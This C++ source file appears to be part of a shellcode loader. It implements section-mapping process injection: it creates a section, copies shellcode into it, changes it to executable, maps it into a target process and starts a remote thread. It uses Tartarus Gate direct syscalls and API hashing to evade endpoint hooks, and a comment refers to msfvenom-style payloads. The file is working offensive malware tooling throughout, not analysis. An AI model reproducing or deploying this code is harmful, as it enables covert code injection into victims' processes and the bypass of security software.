#include "section_map.hpp" #include "../resolve/api_resolver.hpp" #include "../common/hashes.hpp" #include "../common/log.hpp" #include "../common/log.hpp" #include #include namespace SectionMap { SIZE_T PageAlign(SIZE_T size) { const SIZE_T page = 4096; return (size + page - 1) & ~(page - 1); } bool StageLocal( TartarusGate::SyscallTable& sc, const std::vector& shellcode, MappedRegion& out) { Log::Banner("Section Map StageLocal"); if (!sc.initialized || shellcode.empty()) { Log::Dbg("StageLocal abort: initialized=%d empty=%d", sc.initialized ? 1 : 0, shellcode.empty() ? 1 : 0); return false; } out = {}; LARGE_INTEGER maxSize{}; maxSize.QuadPart = static_cast(PageAlign(shellcode.size())); Log::Sys("NtCreateSection: MaxSize=%lld Access=SECTION_ALL_ACCESS Prot=PAGE_READWRITE SEC_COMMIT", maxSize.QuadPart); HANDLE hSection = nullptr; NTSTATUS st = sc.NtCreateSection( &hSection, SECTION_ALL_ACCESS, nullptr, &maxSize, PAGE_READWRITE, SEC_COMMIT, nullptr); Log::NtStatus("NtCreateSection", st); if (!NT_SUCCESS(st) || !hSection) { return false; } Log::Sys("section handle=%p", hSection); PVOID localView = nullptr; SIZE_T viewSize = 0; Log::Sys("NtMapViewOfSection: self Process CommitSize=%zu Prot=PAGE_READWRITE", static_cast(PageAlign(shellcode.size()))); st = sc.NtMapViewOfSection( hSection, GetCurrentProcess(), &localView, 0, PageAlign(shellcode.size()), nullptr, &viewSize, ViewShare, 0, PAGE_READWRITE); Log::NtStatus("NtMapViewOfSection", st); if (!NT_SUCCESS(st) || !localView) { sc.NtClose(hSection); return false; } Log::Sys("mapped RW view=%p viewSize=%zu", localView, static_cast(viewSize)); std::memcpy(localView, shellcode.data(), shellcode.size()); Log::Dbg("copied %zu shellcode bytes into view", shellcode.size()); // W^X: transition mapped view to RX. ULONG oldProt = 0; PVOID protBase = localView; SIZE_T protSize = viewSize; Log::Sys("NtProtectVirtualMemory: view=%p NewProt=PAGE_EXECUTE_READ (W^X)", localView); st = sc.NtProtectVirtualMemory( GetCurrentProcess(), &protBase, &protSize, PAGE_EXECUTE_READ, &oldProt); Log::NtStatus("NtProtectVirtualMemory", st); if (!NT_SUCCESS(st)) { sc.NtUnmapViewOfSection(GetCurrentProcess(), localView); sc.NtClose(hSection); return false; } Log::Dbg("oldProt=0x%08lX", static_cast(oldProt)); out.section = hSection; out.localView = localView; out.viewSize = viewSize; return true; } bool MapRemote( TartarusGate::SyscallTable& sc, HANDLE targetProcess, MappedRegion& region) { if (!sc.initialized || !region.section || region.mappedRemote) { return false; } PVOID remoteView = nullptr; SIZE_T viewSize = region.viewSize; NTSTATUS st = sc.NtMapViewOfSection( region.section, targetProcess, &remoteView, 0, 0, nullptr, &viewSize, 1, 0, PAGE_EXECUTE_READ); if (!NT_SUCCESS(st) || !remoteView) { return false; } region.remoteView = remoteView; region.mappedRemote = true; region.viewSize = viewSize; return true; } bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry) { Log::Banner("ExecuteLocal (CreateThread)"); if (!sc.initialized || !entry) { Log::Dbg("ExecuteLocal abort: initialized=%d entry=%p", sc.initialized ? 1 : 0, entry); return false; } // Hash resolved CreateThread matches original loader behavior for msfvenom style shellcode. auto* k32 = ApiResolver::GetKernel32(); if (!k32) { Log::Dbg("kernel32 base null"); return false; } using CreateThread_t = HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); using WaitForSingleObject_t = DWORD(WINAPI*)(HANDLE, DWORD); using CloseHandle_t = BOOL(WINAPI*)(HANDLE); auto* pCreateThread = reinterpret_cast( ApiResolver::ResolveExport(k32, Hashes::H_CreateThread)); auto* pWait = reinterpret_cast( ApiResolver::ResolveExport(k32, Hashes::H_WaitForSingleObject)); auto* pClose = reinterpret_cast( ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle)); if (!pCreateThread || !pWait || !pClose) { Log::Err("CreateThread hash resolve failed"); return false; } Log::Sys("ExecuteLocal: CreateThread entry=%p (API hash 0x%08X) pCreate=%p", entry, Hashes::H_CreateThread, pCreateThread); DWORD tid = 0; HANDLE hThread = pCreateThread(nullptr, 0, reinterpret_cast(entry), nullptr, 0, &tid); if (!hThread) { Log::Err("CreateThread failed (%lu)", GetLastError()); return false; } Log::Raw("thread TID=%lu handle=%p — WaitForSingleObject(INFINITE)", tid, hThread); const DWORD waitRc = pWait(hThread, INFINITE); Log::Dbg("WaitForSingleObject rc=%lu", waitRc); pClose(hThread); Log::Dbg("thread exited, handle closed"); return true; } bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry) { if (!sc.initialized || !targetProcess || !entry) { return false; } HANDLE hThread = nullptr; NTSTATUS st = sc.NtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, nullptr, targetProcess, entry, nullptr, 0, 0, 0, 0, nullptr); if (!NT_SUCCESS(st) || !hThread) { return false; } sc.NtClose(hThread); return true; } void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess) { if (!sc.initialized) { return; } if (region.localView) { sc.NtUnmapViewOfSection(GetCurrentProcess(), region.localView); region.localView = nullptr; } if (region.mappedRemote && region.remoteView && targetProcess) { sc.NtUnmapViewOfSection(targetProcess, region.remoteView); region.remoteView = nullptr; region.mappedRemote = false; } if (region.section) { sc.NtClose(region.section); region.section = nullptr; } } } // namespace SectionMap